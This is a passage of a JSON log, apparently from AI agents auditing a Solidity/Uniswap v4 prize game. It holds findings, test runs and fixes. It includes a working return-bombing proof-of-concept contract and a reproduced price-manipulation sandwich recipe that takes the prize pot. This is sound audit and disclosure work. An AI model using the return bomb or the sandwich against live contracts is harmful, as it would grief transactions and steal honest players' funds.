guide). configurePool is onlyOwner and is correctly frozen once minted != 0 (src/LowestMintGame.sol:109). mint(uint256 minTokensReceived, uint256 deadline) (src/LowestMintGame.sol:148-156) lets a user bound output and time, but neither overload lets the user bind the pool key or the configured floor they were quoted against. Until the first successful entry, the destination of every in-flight 0.08 ETH is therefore decided by whichever transaction orders first: an owner configurePool(otherKey, 1) that lands ahead of a pending mint redirects the user's 0.08 ETH into a different pool and delivers a different token, and that first mint then permanently freezes the configuration on the pool the user never agreed to. The README documents that the owner may change settings while the entry count is zero and tells users to inspect configuration first, so this is a documented owner power; the defect is that the user-facing overload exists precisely to let a wallet bind its quote, yet it cannot bind the two values that determine what is bought. minTokensReceived is in raw units of whatever currency1 happens to be, so it provides no protection across a pool change (a token with more decimals or a cheaper price trivially satisfies it). An unprivileged amplifier also exists without any owner malice: a benign owner correction (new floor, corrected tick spacing) that is in the mempool at the same time as the first user's mint produces the same mismatch. Suggested minimal fix preserving the design: add the expected PoolId (and optionally the expected minimumOutput) as parameters to the quoted overload and revert with a dedicated error if poolKey.toId() or minimumOutput differs, or alternatively make configurePool a two-step set-then-activate so a pending change cannot take effect in the same block as the first mint.","line":109,"path":"src/LowestMintGame.sol","reproduction":"State: owner has called configurePool(imdKey, 1e12) where imdKey = (ETH, IMD, 3000, 60, no hook) on an initialized, funded pool. A second initialized, funded pool otherKey = (ETH, OTHER, 3000, 60, no hook) exists. Alice reads game.poolKey() and sees IMD, then submits game.mint{value: 0.1 ether}(0.079e18, block.timestamp). Before her transaction executes, the owner's game.configurePool(otherKey, 1) is mined (minted is still 0, so it succeeds). Expected: Alice's mint reverts or she receives >= 0.079e18 IMD. Actual (test/scratch/ConfigRace.t.sol, passes on current code): mint returns (1, ~0.0797e18), imd.balanceOf(alice) == 0, other.balanceOf(alice) == received, alice.balance == 0.9 ether, game.leader() == alice, and a subsequent owner configurePool(imdKey, 1e12) reverts ConfigurationLocked. Alice's 0.08 ETH sits in the OTHER pool and the game is frozen on that pool for its whole 30-day life.","severity":"low","snippet":"        if (minted != 0) revert ConfigurationLocked();","title":"Owner reconfiguration can land between a user reading the configuration and their first mint; the mint has no way to bind to the pool or floor it was quoted against"}],"hash":"d5c71a55a216953a6f16dd24b09831db29091b9fd06e2d42474a40fbc453bd99","nodeId":"69fb8808-354f-49a2-9217-b704eb48788f","outcome":"completed","summary":"The findings file is valid, the snippet matches line 109 exactly, and the only files written are `.imd-findings.json` plus two scratch tests under `test/scratch/` (git ignores both). Review is complete.\n\n**Result:** one low-severity finding in the assigned area, written to `.imd-findings.json`, with coverage rows for all 10 entry points plus three invariant notes. The access-control surface of `LowestMintGame` is otherwise sound.\n\n**Finding 1 (low, trust gap, access × asymmetry):** `configurePool` is owner-only and correctly frozen once the first entry exists, but neither `mint` overload can bind to the pool key or floor the user was quoted against. An owner reconfiguration that orders ahead of a pending first mint redirects that user's 0.08 ETH into a different pool, delivers a different token, and then permanently freezes the game on that pool. Reproduced on the real local v4 core in `test/scratch/ConfigRace.t.sol`: Alice calls `mint(0.079e18, deadline)` after seeing the IMD pool, the owner's `configurePool(otherKey, 1)` lands first, Alice's mint succeeds with zero IMD and the OTHER token instead. The README documents the owner power, so severity stays low. Suggested fix keeps the design: let the quoted overload pass the expected pool id, or make configuration two-step so it cannot activate in the same block as the first mint.\n\n**What held, in depth:**\n- `unlockCallback` authorization: manager-only, one-use payer context set only inside the guarded mint, guard-entered check. Hook, token and payer reentry paths all blocked.\n- `claimRewards`, `finalize`, and the sell-out auto-payout: winner frozen before any ETH call, pendingReward and totalRewardsPaid move in mirror on both payment paths, no double-pay.\n- Ownership: OpenZeppelin v5.2 two-step, no post-configuration owner powers, renounce has no effect on players.\n- Storage lifecycle audit: every variable has one writer family with one guard shape.\n\n**Checked and left out as documented design:** the self-sandwich to lock in the lowest receipt cost about 2.4 ETH against a 2 ETH pot on a 1000 ETH-liquidity pool, so it is not a cheap exploit at realistic depth. The 100th minter can defer the auto-payout via gas, but the prize stays claimable.\n\n**Not reached:** nothing in the assigned area. Economics in thin-liquidity pools and hook-operator influence on scores belong to the Economic specialist and are noted in the coverage rows only.","treeHash":null,"usage":{"cachedInputTokens":905293,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":29716,"runtime":"claude","turns":32,"wallClockMs":514092}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"629987aaf6c7aa88","findings":[{"citation":"resolved","description":"Boundary: the ETH payout call in _finalize (src/LowestMintGame.sol:247), reached from mint()/mint(uint256,uint256) on the 100th entry and from finalize() at the deadline. Assumption: PAYOUT_GAS_RESERVE (100,000) is enough to cover the payout attempt whatever the winner does, because the winner is capped at AUTO_PAYOUT_GAS (30,000); README: 'A rejecting or gas-consuming winner must not block the final mint or deadline settlement.' Actual: Solidity's `(bool paid,) = leader.call{...}(\"\")` copies the callee's return data into the caller's memory (returndatacopy of returndatasize bytes) even though the bytes are discarded. A winner contract whose receive() executes `return(0, 100_000)` pays about 28.4k gas of memory expansion inside its own 30k allowance and makes the game pay a further ~38k gas (memory expansion to 100,000 bytes plus the copy) in the game's frame. Measured on the mock harness: the 100th mint costs 336,473 gas with an EOA winner and 403,020 gas with the 100,000-byte winner (+66.5k). The reserve arithmetic therefore does not close: cold CALL + value transfer (~11.6k) + 30k forwarded + ~38k copy + totalRewardsPaid SSTORE 0->nonzero (22.1k) + events (~2k) is about 104k > 100,000, so when gasleft() at the check is in roughly [100k, 104k] the transaction runs out of gas instead of either paying or deferring. Impact: griefing only. The 100th minter's (or the finalize() caller's) transaction reverts and burns its whole gas limit when that limit lands in a window a few thousand gas wide just above the honest-payout threshold; retrying with more gas succeeds and the prize is never lost. eth_estimateGas on the live state includes the bomb and would normally land above the window, so the practical exposure is a mis-estimated or hand-set gas limit. Fix (verified with the attached test against a patched copy): perform the payout without copying return data, e.g. `bool paid; address to = leader; assembly (\"memory-safe\") { paid := call(AUTO_PAYOUT_GAS, to, amount, 0, 0, 0, 0) }`, or use an excessively-safe-call helper with a zero max-copy. With that change the bombing winner's cost is bounded by the 30k allowance and the test passes.","line":245,"path":"src/LowestMintGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta, toBalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {LowestMintGame} from \"src/LowestMintGame.sol\";\n\n/// @dev Minimal honest ERC20 standing in for IMD.\ncontract ProofToken is ERC20 {\n    constructor() ERC20(\"Proof IMD\", \"pIMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Minimal PoolManager double: one callback, fixed exact 0.08 ETH input, configurable output.\ncontract ProofPoolManager {\n    int128 public output = 1000;\n\n    function setOutput(int128 amount) external {\n        output = amount;\n    }\n\n    function extsload(bytes32) external pure returns (bytes32) {\n        return bytes32(uint256(1));\n    }\n\n    function unlock(bytes calldata data) external returns (bytes memory) {\n        return IUnlockCallback(msg.sender).unlockCallback(data);\n    }\n\n    function swap(PoolKey calldata, SwapParams calldata, bytes calldata) external view returns (BalanceDelta) {\n        return toBalanceDelta(-int128(0.08 ether), output);\n    }\n\n    function sync(Currency) external {}\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(Currency currency, address to, uint256 amount) external {\n        require(ProofToken(Currency.unwrap(currency)).transfer(to, amount), \"transfer failed\");\n    }\n}\n\n/// @dev A winner whose receive() returns a 100,000-byte blob, affordable within the 30,000 gas it is given.\ncontract BombWallet {\n    LowestMintGame public immutable game;\n    uint256 public immutable size;\n\n    constructor(LowestMintGame game_, uint256 size_) {\n        game = game_;\n        size = size_;\n    }\n\n    function enter() external payable {\n        game.mint{value: msg.value}();\n    }\n\n    receive() external payable {\n        uint256 s = size;\n        assembly (\"memory-safe\") {\n            return(0, s)\n        }\n    }\n}\n\ncontract ReturnBombProofTest is Test {\n    LowestMintGame internal game;\n    ProofToken internal token;\n    ProofPoolManager internal manager;\n    address internal owner = makeAddr(\"owner\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n    address internal carol = makeAddr(\"carol\");\n    uint256 internal constant PRICE = 0.1 ether;\n\n    function setUp() public {\n        vm.warp(1_000_000);\n        manager = new ProofPoolManager();\n        token = new ProofToken();\n        game = new LowestMintGame(owner, IPoolManager(address(manager)));\n        PoolKey memory key =\n            PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 3000, 60, IHooks(address(0)));\n        token.mint(address(manager), 1e36);\n        vm.deal(alice, 100 ether);\n        vm.deal(bob, 100 ether);\n        vm.deal(carol, 100 ether);\n        vm.prank(owner);\n        game.configurePool(key, 100);\n    }\n\n    /// Leader mints entry 1 with the lowest receipt (100 = the floor); bob fills entries 2..99 at 1000.\n    function _fillTo99(address leaderWallet) internal {\n        manager.setOutput(100);\n        if (leaderWallet == alice) {\n            vm.prank(alice);\n            game.mint{value: PRICE}();\n        } else {\n            BombWallet(payable(leaderWallet)).enter{value: PRICE}();\n        }\n        manager.setOutput(1000);\n        for (uint256 i = 1; i < 99; ++i) {\n            vm.prank(bob);\n            game.mint{value: PRICE}();\n        }\n        assertEq(game.minted(), 99);\n        assertEq(game.leader(), leaderWallet);\n    }\n\n    function _finalMint(uint256 gas) internal returns (bool ok) {\n        vm.prank(carol);\n        (ok,) = address(game).call{value: PRICE, gas: gas}(abi.encodeWithSignature(\"mint()\"));\n    }\n\n    /// Smallest gas limit at which the 100th mint by carol succeeds AND pays an honest EOA winner\n    /// (i.e. gasleft() >= PAYOUT_GAS_RESERVE held at the payout check).\n    function _smallestPayingGasLimitForHonestWinner() internal returns (uint256 lo) {\n        lo = 150_000;\n        uint256 hi = 1_500_000;\n        while (lo < hi) {\n            uint256 mid = (lo + hi) / 2;\n            uint256 snap = vm.snapshotState();\n            _fillTo99(alice);\n            bool ok = _finalMint(mid);\n            bool paid = ok && game.totalRewardsPaid() == 2 ether;\n            vm.revertToState(snap);\n            if (paid) hi = mid;\n            else lo = mid + 1;\n        }\n    }\n\n    /// README: \"A rejecting or gas-consuming winner must not block the final mint or deadline settlement.\"\n    /// The winner may only burn its 30,000 forwarded gas. At the smallest gas limit that pays an honest\n    /// winner, the game has >= 100,000 gas at the payout check, which covers the call overhead, the full\n    /// 30,000 allowance and the bookkeeping. A winner that returns 100,000 bytes must therefore not make\n    /// the same final mint fail. It does, because `(bool paid,) = leader.call{...}(\"\")` copies the\n    /// winner's return data into memory and that copy (~38k gas) is not covered by the reserve.\n    function test_winnerReturnDataCannotMakeFinalMintRunOutOfGas() public {\n        uint256 gasLimit = _smallestPayingGasLimitForHonestWinner();\n        emit log_named_uint(\"smallest paying gas limit (honest winner)\", gasLimit);\n\n        // Same game, same final mint, same gas limit; only the winner differs.\n        BombWallet bomb = new BombWallet(game, 100_000);\n        vm.deal(address(bomb), 1 ether);\n        _fillTo99(address(bomb));\n        bool ok = _finalMint(gasLimit);\n        assertTrue(ok, \"final mint ran out of gas: the winner's 100,000-byte return data was copied by the game\");\n        assertTrue(game.finalized());\n        assertEq(game.minted(), 100);\n        // Whatever the winner does, the prize is paid or deferred, never lost.\n        assertEq(game.totalRewardsPaid() + game.pendingReward(), 2 ether);\n    }\n}","reproduction":"State: configured game (floor 100), 99 entries, leader = contract W whose receive() is `assembly { return(0, 100000) }`, W holds mint #1 with receipt 100, bob holds #2..#99 with receipt 1000. Step 1 (control): with an EOA leader instead of W, binary-search the smallest gas limit G at which carol's `mint{value: 0.1 ether, gas: G}()` succeeds AND totalRewardsPaid == 2 ether. On the attached mock harness G = 367,253 (gasleft() >= 100,000 holds at the payout check). Step 2: with W as leader, carol calls `mint{value: 0.1 ether, gas: G}()`. Expected: succeeds (minted == 100, finalized, prize paid or deferred). Actual: the call returns false (out of gas), minted stays 99, game is not finalized, carol loses G gas. Step 3: the same call with gas 600,000 succeeds and pays 2 ether, confirming the only effect is the gas window. Same mechanism applies to finalize() after closesAt when the leader is W. Run: forge test --match-path test/scratch/ReturnBombProof.t.sol (fails now; passes once the payout call discards return data).","severity":"low","snippet":"        if (gasleft() >= PAYOUT_GAS_RESERVE) {\n            pendingReward = 0;\n            (bool paid,) = payable(leader).call{value: amount, gas: AUTO_PAYOUT_GAS}(\"\");","title":"Auto-payout copies the winner's return data, so a return-bombing winner can push the 100th mint (or finalize) out of gas despite the 100k reserve"}],"hash":"e69806aa9e4d7ee500f28403dca00ec22f7d7956eda8dc5c0c5a91a759a4d429","nodeId":"c3bfddc1-b1fe-4c67-a5b1-e23cd6ca5515","outcome":"completed","summary":"The review is complete. The findings file is written at `.imd-findings.json` with one substantiated finding, its proof, and a coverage row for all ten entry points plus three invariants.\n\n**Outcome.** The arithmetic in `LowestMintGame` is sound. The contract has no multiplication or division at all, so there is no rounding, truncation or scale-mixing surface. Every cast is guarded. The `int128` casts of the swap deltas only run after the sign checks, the floor is bounded to the `int128` range, the reward pool tops out at 2 ETH, and the time boundaries are consistent: minting stops strictly before `closesAt` while `finalize` opens at it, and the per-call deadline is inclusive. I verified the Uniswap v4 assumptions against the vendored core: `sync` on native resets the synced currency, `settle` returns `msg.value`, and the swap delta returned to the caller already nets out hook deltas, so the exact 0.08 ETH input check holds even for fee-taking hooks. All 60 existing tests pass.\n\n**One low finding.** The auto-payout call in `_finalize` copies the winner's return data into the game's memory. A winner contract whose `receive()` returns 100,000 bytes stays inside its 30k gas allowance but adds about 38k gas of copying to the game's frame, which the 100k reserve does not cover. The gap is small, roughly 4k gas, so it only bites when the 100th minter's or the `finalize()` caller's gas limit lands in a narrow window just above the honest-payout threshold. Concrete numbers from the mock harness:\n\n| Scenario | Smallest gas limit where honest winner is paid | Bombing winner at that limit |\n| --- | --- | --- |\n| 100th `mint()` | 367,253 | out of gas, game stays at 99 entries |\n| `finalize()` at deadline, 50 entries | 165,452 | out of gas, not finalized |\n\nThe caller loses the gas it supplied and retries with more; the prize is never lost, so this is griefing only. The attached proof test fails on the current code and passes against a patched copy that issues the payout through an assembly `call` with zero output size.\n\n**Coverage.** `mint()`, `mint(uint256,uint256)` and `finalize()` are marked `finding` for the shared payout path. The other seven entry points are marked `holds`, including the ownership functions, which carry no arithmetic. No entry point is unreached. The static-analysis leads were all checked: the strict equality on `minted`, the ignored `unlock` return, the balance-based reentrancy pattern and the arbitrary-send flag are all intentional and guarded. The return-bomb line was the one that reproduced.\n\n**Not covered.** No fork of the live IMD pool was possible since the token and pool key are not supplied, so I could not exercise a real dynamic-fee hook beyond the local `SwapHook` fixture. The economic manipulation of the winning score through pool trades is documented by the author as intended and is outside my three guides.","treeHash":null,"usage":{"cachedInputTokens":1529196,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":43805,"runtime":"claude","turns":43,"wallClockMs":739598}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e49531c471ac7158","findings":[{"citation":"resolved","description":"Carried over from round 1 (edc49aea, merging economics cef719de and flow cead3911). The winner is still ranked on the raw output of one exact-input 0.08 ETH spot swap (unlockCallback line 221, sqrtPriceLimitX96 = TickMath.MIN_SQRT_PRICE + 1), so whoever moves the pool's spot price in the same sequence as their entry sets their own receipt. The author agrees it reproduces and has not changed the rule; they documented the reproduction, the mitigations they rejected and three rule-changing options in README.md ('Open decision for the requester: price manipulation captures the prize', line 216) and docs/SECURITY.md. I agree with the author: any mitigation that keeps 'fewest raw tokens from the spot swap wins' can be bypassed by a push sized to fit it, and the real fixes (VRF selection, delayed bounded execution) change the requested design. The contract does what the brief asks, and the person who 'received the fewest tokens' really is the manipulator. So I am not reopening the author's work over it. It stays on record so the requester sees it before funding: as built, honest entrants' 0.02 ETH contributions go in expectation to whoever runs the last sandwich.","line":201,"path":"src/LowestMintGame.sol","reproduction":"Ran the round-1 proofs unchanged against the revised tree (copied to test/scratch/): Proof_edc49aeafc12 fails with 'taker profits from the pooled rewards: 101860866997497427276 > 100000000000000000000'; Proof_cead39118bfc fails both tests (sellout sandwich +1.8609 ETH; deadline snipe 100169641998502383766 > 100e18). Setup: real v4 PoolManager, ETH/IMD pool at sqrtPrice 2^96, fee 3000, spacing 60, 1000e18 liquidity in [-60000,60000], configurePool(key, 1e12), 99 honest entries, then the attacker buys 20 ETH, calls mint{value:0.1 ether}(), sells back. Expected under a manipulation-resistant rule: no profit. Actual: totalRewardsPaid == 2 ether paid to the attacker. This is the requested rule's behaviour, and the requester must choose between keeping it as disclosed, VRF selection or delayed execution.","severity":"info","snippet":"        if (mintId == 1 || tokensReceived < lowestTokens) {","title":"Settled as a requester scope decision: spot-price manipulation lets a sandwiched final (or deadline) entry take the whole pot; reproduces unchanged, now disclosed in README as an open decision"}],"hash":"f5cd1ea15ec1e76c3f45e5558ce5736d151e140b0dd91ca6594dde95eb9b9d04","nodeId":"5d3d1106-5af1-43b9-b9d5-6e36ed962733","outcome":"completed","summary":"All four round-1 findings are settled. The three low ones are fixed; the high one still reproduces, but it comes from the rule the brief asks for, so I've moved it to `info` as a decision for you rather than a defect to block on. The results are in `.imd-findings.json` (valid JSON, one finding, 11 of 11 entry points covered), and no source or test files were changed.\n\nI ran the full suite with the round-1 proofs copied into `test/scratch/`, then deleted that folder: 85 tests passed and 3 failed. All 3 failures are the price-manipulation proofs.\n\n**Fixed:**\n- **Return-bombing winner** (`7bdfcd56`): the payout in `_finalize` no longer copies the winner's return data (`call(AUTO_PAYOUT_GAS, winner, amount, 0, 0, 0, 0)`). The math specialist's proof, which failed in round 1, now passes, and so does the author's new test for it.\n- **Caller choosing the gas limit to delay the winner's prize** (`5ce94a6e`): with less than 100,000 gas left at payout, settlement now reverts with `InsufficientGasForPayout` instead of quietly holding the prize back. Holding it back now happens only when the winner's own wallet refuses the payment. I checked the gas budget after the call: about 58k is left for the bookkeeping, which is enough. The author's gas-scan test and replacement low-gas test both pass.\n- **Owner swapping the pool before the first mint** (`ab66554c`): the contract now stores `poolId`, and a new `mint(bytes32 expectedPoolId, ...)` reverts with `PoolMismatch` before any swap if the pool changed. The pool ID covers the token, fee, tick spacing and hook. The two older mint overloads can still be redirected for compatibility; the README tells wallets to use the new one. Both new tests pass.\n\n**Kept as `info` – price manipulation takes the whole pot** (`edc49aea`): this still reproduces exactly. A trader who buys 20 ETH of IMD, makes the last entry and sells back ends at 101.86 ETH from 100 ETH; the deadline version nets about +0.17 ETH. The author disputed it, and I agree with their reasoning: as long as the winner is \"whoever got the fewest tokens from the spot swap\", whoever moves the price picks their own score. Any fix (random winner selection via Chainlink VRF, or executing the swap in a later block) changes the game you asked for. The README now documents the exploit and these options under \"Open decision for the requester\". I didn't reopen the author's work over it, because only you can make that call.\n\nWhat you need to decide before funding the game: as built, honest players' 0.02 ETH contributions will in practice go to whoever runs the last price push. You can keep the rule with that disclosed, switch to random selection, or move to delayed execution.\n\nThe other entry points, plus the static-analysis reentrancy leads, all check out. The swap callback is protected by its reentrancy guard and a single-use payer slot.","treeHash":null,"usage":{"cachedInputTokens":280992,"inputTokens":12,"model":"claude-opus-5-5","outputTokens":6720,"runtime":"claude","turns":7,"wallClockMs":140587}}],"verification":[{"checks":[{"durationMs":2966,"exitCode":0,"name":"build","output":"Compiling 83 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.85s\nCompiler run successful!\n","passed":true},{"durationMs":5532,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/LaunchCompatibility.t.sol:LaunchCompatibilityTest\n[PASS] test_emptyChainDeploymentHasBoundedRuntimeAndNoEscapeOpcodes() (gas: 5637404)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.99ms (24.84ms CPU time)\n\nRan 49 tests for test/LowestMintGame.t.sol:LowestMintGameTest\n[PASS] testFuzz_inexactInputCannotSpendRewardsOrCreatePartialEntry(uint64) (runs: 256, μ: 340407, ~: 340400)\n[PASS] testFuzz_scoreAndConservationForSequence(uint128[12]) (runs: 256, μ: 3347037, ~: 3345569)\nLogs:\n  Bound result 971676375442897587705939\n  Bound result 10682174290022599344\n  Bound result 1320622547782679\n  Bound result 1168782996\n  Bound result 846505\n  Bound result 956791784686907154160616\n  Bound result 15308699852888\n  Bound result 28359478\n  Bound result 999999999999999999999958\n  Bound result 295\n  Bound result 518582104329194598696550\n  Bound result 269973971388587991165502\n\n[PASS] testFuzz_wrongPaymentRevertsAtomically(uint96) (runs: 256, μ: 71255, ~: 71386)\n[PASS] test_autoPayoutAndClaimReentrancyCannotDoublePay() (gas: 1098564)\n[PASS] test_callbackCannotBeForgedOrInvokedOutsideAMint() (gas: 65105)\n[PASS] test_callerCannotWeakenConfiguredMinimum() (gas: 435254)\n[PASS] test_claimCannotBurnPrizeOrSendItBackToGame() (gas: 1123789)\n[PASS] test_configurationCanBeCorrectedBeforeFirstMintAndLocksAfterward() (gas: 633173)\n[PASS] test_configurationRejectsCodeLessTokenOrHook() (gas: 102522)\n[PASS] test_configurationRejectsInvalidFeeAndHooks() (gas: 157407)\n[PASS] test_configurationRejectsWrongCurrenciesAndSpacing() (gas: 225657)\n[PASS] test_configurationRejectsZeroOrUnreachableFloor() (gas: 82969)\n[PASS] test_configurationRequiresInitializedPool() (gas: 87497)\n[PASS] test_configurationRequiresOwner() (gas: 42357)\n[PASS] test_constructorRejectsZeroOwnerAndManager() (gas: 6391)\n[PASS] test_defaultMintUsesConfiguredFloorAndInclusiveMinimum() (gas: 840806)\n[PASS] test_deferredClaimReentrancyCannotDoublePay() (gas: 1176475)\n[PASS] test_directETHIsRejectedAndForcedSurplusIsNotAnEntryOrReward() (gas: 648910)\n[PASS] test_exactDeadlineIsAllowed() (gas: 486782)\n[PASS] test_explicitMintRejectsZeroFloorAndExpiredDeadline() (gas: 188111)\n[PASS] test_factoryDeploymentAssignsExplicitOwnerWithoutDependencyCode() (gas: 81772)\n[PASS] test_failedFinalMintLeavesGameOpenAndPriorAccountingIntact() (gas: 21716747)\n[PASS] test_failedPoolSwapRollsBackPayment() (gas: 222955)\n[PASS] test_falseReturningTokenRollsBackSwap() (gas: 400405)\n[PASS] test_finalMintCanBecomeWinnerAndItsRewardIsIncluded() (gas: 21484780)\n[PASS] test_finalMintGasLimitCannotForceDeferralForCooperativeWinner() (gas: 74265167)\n[PASS] test_gasConsumingWinnerCannotBlockTimeoutSettlement() (gas: 1157068)\n[PASS] test_lowGasSettlementRevertsInsteadOfDeferringThePrize() (gas: 770785)\n[PASS] test_mintBuysWithExactSplitAndRecordsPayerAndActualReceipt() (gas: 743162)\n[PASS] test_mintFailsUntilConfigured() (gas: 672457)\n[PASS] test_missingCallbackAndDuplicateCallbackFail() (gas: 537108)\n[PASS] test_multipleEntriesTrackIndividualMinimumAndAggregateReceipts() (gas: 1123727)\n[PASS] test_noReturnTokenCanBeReceivedExactly() (gas: 563988)\n[PASS] test_poolBoundMintKeepsFloorDeadlineAndConfigurationChecks() (gas: 1280716)\n[PASS] test_poolBoundMintRejectsConfigurationReplacedAfterTheQuote() (gas: 1782535)\n[PASS] test_rejectingWinnerCannotBlockSelloutAndCanRedirectClaim() (gas: 21294191)\n[PASS] test_returnBombingWinnerCannotRaiseSettlementGasAboveTheReserve() (gas: 17987684)\n[PASS] test_revertingTokenRollsBackSwap() (gas: 400101)\n[PASS] test_settlementRejectsEmptyGameEarlyAndDuplicateActions() (gas: 782019)\n[PASS] test_slippageFailureRollsBackSwapTransferAndEntry() (gas: 403602)\n[PASS] test_soldOutAutomaticallyPaysAllRewardsAndPreventsLateMint() (gas: 20706807)\n[PASS] test_taxedOrBonusTokenCannotManufactureScore() (gas: 745254)\n[PASS] test_tiesBelongToEarliestMint() (gas: 1058829)\n[PASS] test_timeoutBoundaryRejectsMintAndAllowsAnyoneToSettle() (gas: 1029629)\n[PASS] test_tokenCallbackCannotReenterMint() (gas: 637927)\n[PASS] test_tokenCallbackCannotReenterUnlockCallback() (gas: 681488)\n[PASS] test_twoStepOwnershipDoesNotGivePendingOwnerControl() (gas: 269768)\n[PASS] test_wrongSettlementReverts() (gas: 373383)\n[PASS] test_zeroAndNegativeOutputAreRejected() (gas: 567460)\nSuite result: ok. 49 passed; 0 failed; 0 skipped; finished in 259.81ms (264.70ms CPU time)\n\nRan 13 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testFuzz_realPoolReceiptsMatchTokenBalanceDeltas(uint8) (runs: 256, μ: 6885977, ~: 4539465)\nLogs:\n  Bound result 5\n\n[PASS] test_realDynamicFeeHookAndOutputFeeAreAccountedBeforeScoring() (gas: 1696713)\n[PASS] test_realExhaustedLiquidityRejectsPartialFill() (gas: 914987)\n[PASS] test_realHookCannotPoisonSettlementCurrencyOrReenterMint() (gas: 1599059)\n[PASS] test_realPoolNoReturnTokenIsSupported() (gas: 450509)\n[PASS] test_realPoolSwapPaysNativeDebtAndTransfersIMDDirectly() (gas: 524888)\n[PASS] test_realPoolTaxedTokenCannotChangeWinningScore() (gas: 269117)\n[PASS] test_realPoolTokenTransferFailureRevertsAllState() (gas: 235087)\n[PASS] test_realPoolWithNoLiquidityCannotCreateAnEntry() (gas: 611101)\n[PASS] test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint() (gas: 23268688)\n[PASS] test_realSlippageRevertRestoresPoolPriceBalancesAndEntryState() (gas: 310227)\n[PASS] test_rejectingRealHookRollsBackEntry() (gas: 1252798)\n[PASS] test_timeoutSettlementDoesNotNeedLivePoolOrToken() (gas: 529097)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 303.38ms (326.42ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS]\nAccountingInvariantTest invariants:\n[PASS] invariant_ETHIsConservedAndRewardsCannotBeTakenTwice\n[PASS] invariant_everyEntryAndPayerAggregateMatchesActualDelivery\n[PASS] invariant_leaderIsEarliestMinimumAndClosureIsIrreversible\n AccountingInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+----------------+-------+---------+----------╮\n| Contract    | Selector       | Calls | Reverts | Discards |\n+===========================================================+\n| GameHandler | advanceTime    | 1593  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | claim          | 1665  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | enter          | 1663  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | invalidPayment | 1635  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | settle         | 1636  | 0       | 0        |\n╰-------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 566\n  Bound result 308800\n  Bound result 1120\n  Bound result 2\n  Bound result 4849\n  Bound result 1001\n  Bound result 1\n  Bound result 714268139627856\n  Bound result 2\n  Bound result 32768\n  Bound result 5\n  Bound result 189748451\n  Bound result 2\n  Bound result 16384\n  Bound result 7\n  Bound result 8388609\n  Bound result 7\n  Bound result 19\n  Bound result 599290589\n  Bound result 7\n  Bound result 144458\n  Bound result 10\n  Bound result 196095\n  Bound result 6963\n  Bound result 1\n  Bound result 1735\n  Bound result 3\n  Bound result 3000\n  Bound result 212788514231647267063403\n  Bound result 5\n  Bound result 32768\n  Bound result 27989566658842310\n  Bound result 2\n  Bound result 1000000\n  Bound result 4\n  Bound result 23856061402\n  Bound result 1\n  Bound result 4643\n  Bound result 2923\n  Bound result 8\n  Bound result 9872\n  Bound result 87061\n  Bound result 253\n  Bound result 6\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.41s (5.40s CPU time)\n\nRan 4 test suites in 5.41s (5.99s CPU time): 64 tests passed, 0 failed, 0 skipped (64 total tests)\n","passed":true},{"durationMs":47,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LowestMintGame.acceptOwnership()\",\"LowestMintGame.claimRewards(address)\",\"LowestMintGame.configurePool((address,address,uint24,int24,address),uint256)\",\"LowestMintGame.finalize()\",\"LowestMintGame.mint()\",\"LowestMintGame.mint(bytes32,uint256,uint256)\",\"LowestMintGame.mint(uint256,uint256)\",\"LowestMintGame.receive()\",\"LowestMintGame.renounceOwnership()\",\"LowestMintGame.transferOwnership(address)\",\"LowestMintGame.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":37,\"LICENSE\":23,\"README.md\":275,\"docs/SECURITY.md\":97,\"docs/VALIDATION.md\":50,\"foundry.toml\":21,\"launch.json\":13,\"remappings.txt\":4,\"src/LowestMintGame.sol\":297,\"test/AccountingInvariant.t.sol\":167,\"test/LaunchCompatibility.t.sol\":33,\"test/LowestMintGame.t.sol\":706,\"test/UniswapV4Integration.t.sol\":247,\"test/helpers/GameFixture.sol\":67,\"test/helpers/LiquiditySeeder.sol\":49,\"test/helpers/Mocks.sol\":198,\"test/helpers/SwapHook.sol\":60},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks 